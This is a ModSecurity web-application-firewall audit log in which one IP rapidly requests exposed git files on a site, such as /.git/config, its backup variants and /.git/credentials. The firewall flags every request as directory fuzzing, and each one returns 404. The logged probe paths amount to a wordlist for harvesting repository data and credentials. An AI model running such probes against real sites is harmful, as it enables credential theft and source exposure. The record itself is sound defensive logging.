Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config.credentials||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/.git/config.credentials"] [unique_id "aqZcCGM7dE9KgIIOpQhxUwAAAMg"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789287432350737 665791 (- - -)
Stopwatch2: 1789287432350737 665791; combined=70925, p1=1727, p2=69114, p3=0, p4=0, p5=83, sr=123, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--0e562854-Z--
--c73c1c61-A--
[13/Sep/2026:11:17:13.061003 +0300] aqZcCGM7dE9KgIIOpQhxVwAAANg 172.86.81.63 52590 127.0.0.1 7081
--c73c1c61-B--
GET /.git/objects/info/packs HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 172.86.81.63
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Accept: */*
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip
--c73c1c61-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--c73c1c61-H--
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/objects/info/packs||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/objects/info/packs||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/.git/objects/info/packs"] [unique_id "aqZcCGM7dE9KgIIOpQhxVwAAANg"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789287432392085 668968 (- - -)
Stopwatch2: 1789287432392085 668968; combined=4133, p1=200, p2=3870, p3=0, p4=0, p5=63, sr=89, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--c73c1c61-Z--
--bad5604c-A--
[13/Sep/2026:11:17:13.112434 +0300] aqZcCGM7dE9KgIIOpQhxVQAAAME 172.86.81.63 52580 127.0.0.1 7081
--bad5604c-B--
GET /.git/info/exclude HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 172.86.81.63
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Accept: */*
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip
--bad5604c-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--bad5604c-H--
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/info/exclude||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/info/exclude||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/.git/info/exclude"] [unique_id "aqZcCGM7dE9KgIIOpQhxVQAAAME"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789287432382598 729885 (- - -)
Stopwatch2: 1789287432382598 729885; combined=4294, p1=165, p2=4071, p3=0, p4=0, p5=58, sr=71, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--bad5604c-Z--
--9cf35f55-A--
[13/Sep/2026:11:17:13.136876 +0300] aqZcCGM7dE9KgIIOpQhxWwAAANQ 172.86.81.63 52620 127.0.0.1 7081
--9cf35f55-B--
GET /.git/config HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 172.86.81.63
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Accept: */*
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip
--9cf35f55-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--9cf35f55-H--
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/.git/config"] [unique_id "aqZcCGM7dE9KgIIOpQhxWwAAANQ"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/.git/config"] [unique_id "aqZcCGM7dE9KgIIOpQhxWwAAANQ"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/.git/config"] [unique_id "aqZcCGM7dE9KgIIOpQhxWwAAANQ"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789287432452675 684256 (- - -)
Stopwatch2: 1789287432452675 684256; combined=51733, p1=200, p2=51446, p3=0, p4=0, p5=87, sr=84, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--9cf35f55-Z--
--3342306d-A--
[13/Sep/2026:11:17:13.157291 +0300] aqZcCGM7dE9KgIIOpQhxUQAAAMo 172.86.81.63 52532 127.0.0.1 7081
--3342306d-B--
GET /.git/config.bak HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 172.86.81.63
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Accept: */*
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip
--3342306d-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--3342306d-H--
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config.bak||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config.bak||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config.bak||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config.bak||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/.git/config.bak"] [unique_id "aqZcCGM7dE9KgIIOpQhxUQAAAMo"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config.bak||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/.git/config.bak"] [unique_id "aqZcCGM7dE9KgIIOpQhxUQAAAMo"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config.bak||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/.git/config.bak"] [unique_id "aqZcCGM7dE9KgIIOpQhxUQAAAMo"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789287432333976 823368 (- - -)
Stopwatch2: 1789287432333976 823368; combined=67625, p1=231, p2=67326, p3=0, p4=0, p5=68, sr=98, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--3342306d-Z--
--5ece7841-A--
[13/Sep/2026:11:17:13.180418 +0300] aqZcCCsVWymXUono-eRUSQAAABY 172.86.81.63 52664 127.0.0.1 7081
--5ece7841-B--
GET /.git/credentials HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 172.86.81.63
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Accept: */*
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip
--5ece7841-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--5ece7841-H--
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/credentials||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/credentials||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/.git/credentials"] [unique_id "aqZcCCsVWymXUono-eRUSQAAABY"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789287432526878 653594 (- - -)
Stopwatch2: 1789287432526878 653594; combined=4077, p1=220, p2=3801, p3=0, p4=0, p5=56, sr=89, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--5ece7841-Z--
--8b6dd162-A--
[13/Sep/2026:11:17:13.185387 +0300] aqZcCCsVWymXUono-eRURwAAAAs 172.86.81.63 52650 127.0.0.1 7081
--8b6dd162-B--
GET /.git/packed-refs HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 172.86.81.63
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Accept: */*
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip
--8b6dd162-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--8b6dd162-H--
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/packed-refs||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/packed-refs||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/.git/packed-refs"] [unique_id "aqZcCCsVWymXUono-eRURwAAAAs"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789287432468534 716909 (- - -)
Stopwatch2: 1789287432468534 716909; combined=34836, p1=233, p2=34548, p3=0, p4=0, p5=54, sr=128, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--8b6dd162-Z--
--9fe09f27-A--
[13/Sep/2026:11:17:13.204917 +0300] aqZcCGM7dE9KgIIOpQhxWAAAAMQ 172.86.81.63 52610 127.0.0.1 7081
--9fe09f27-B--
GET /.git/config.old HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 172.86.81.63
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Accept: */*
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip
--9fe09f27-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--9fe09f27-H--
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config.old||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config.old||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config.old||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config.old||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/.git/config.old"] [unique_id "aqZcCGM7dE9KgIIOpQhxWAAAAMQ"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config.old||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/.git/config.old"] [unique_id "aqZcCGM7dE9KgIIOpQhxWAAAAMQ"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config.old||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/.git/config.old"] [unique_id "aqZcCGM7dE9KgIIOpQhxWAAAAMQ"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789287432443989 760977 (- - -)
Stopwatch2: 1789287432443989 760977; combined=57363, p1=233, p2=56802, p3=0, p4=0, p5=328, sr=88, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--9fe09f27-Z--
--9b24f36d-A--
[13/Sep/2026:11:17:13.241883 +0300] aqZcCGM7dE9KgIIOpQhxVAAAAM4 172.86.81.63 52566 127.0.0.1 7081
--9b24f36d-B--
GET /.git/config.save HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 172.86.81.63
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Accept: */*
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip
--9b24f36d-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--9b24f36d-H--
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config.save||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config.save||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config.save||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config.save||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/.git/config.save"] [unique_id "aqZcCGM7dE9KgIIOpQhxVAAAAM4"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config.save||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/.git/config.save"] [unique_id "aqZcCGM7dE9KgIIOpQhxVAAAAM4"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config.save||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/.git/config.save"] [unique_id "aqZcCGM7dE9KgIIOpQhxVAAAAM4"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789287432379942 862002 (- - -)
Stopwatch2: 1789287432379942 862002; combined=41815, p1=259, p2=41473, p3=0, p4=0, p5=83, sr=119, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--9b24f36d-Z--
--6f151b2e-A--
[13/Sep/2026:11:17:13.259176 +0300] aqZcCCsVWymXUono-eRURgAAAAw 172.86.81.63 52646 127.0.0.1 7081
--6f151b2e-B--
GET /.git/logs/HEAD HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 172.86.81.63
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Accept: */*
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip
--6f151b2e-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--6f151b2e-H--
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/logs/head||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/logs/head||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/.git/logs/HEAD"] [unique_id "aqZcCCsVWymXUono-eRURgAAAAw"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789287432462510 796725 (- - -)
Stopwatch2: 1789287432462510 796725; combined=4099, p1=248, p2=3797, p3=0, p4=0, p5=53, sr=131, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--6f151b2e-Z--
--a76f523b-A--
[13/Sep/2026:11:17:13.267955 +0300] aqZcCCsVWymXUono-eRURQAAAA0 172.86.81.63 52638 127.0.0.1 7081
--a76f523b-B--
GET /.git/logs/refs/heads/master HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 172.86.81.63
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Accept: */*
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip
--a76f523b-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--a76f523b-H--
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/logs/refs/heads/master||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/logs/refs/heads/master||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/.git/logs/refs/heads/master"] [unique_id "aqZcCCsVWymXUono-eRURQAAAA0"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789287432456853 811150 (- - -)
Stopwatch2: 1789287432456853 811150; combined=3914, p1=192, p2=3666, p3=0, p4=0, p5=56, sr=82, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--a76f523b-Z--
--f7df0865-A--
[13/Sep/2026:11:17:13.289972 +0300] aqZcCCsVWymXUono-eRUSAAAAAk 172.86.81.63 52626 127.0.0.1 7081
--f7df0865-B--
GET /.git/logs/refs/heads/main HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 172.86.81.63
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Accept: */*
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip
--f7df0865-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--f7df0865-H--
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/logs/refs/heads/main||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/logs/refs/heads/main||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/.git/logs/refs/heads/main"] [unique_id "aqZcCCsVWymXUono-eRUSAAAAAk"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789287432485821 804210 (- - -)
Stopwatch2: 1789287432485821 804210; combined=4129, p1=196, p2=3865, p3=0, p4=0, p5=67, sr=83, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--f7df0865-Z--
--6a95fe5c-A--
[13/Sep/2026:11:17:13.295290 +0300] aqZcCGM7dE9KgIIOpQhxUgAAAMM 172.86.81.63 52548 127.0.0.1 7081
--6a95fe5c-B--
GET /.git/config HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 172.86.81.63
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Accept: */*
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip
--6a95fe5c-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--6a95fe5c-H--
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
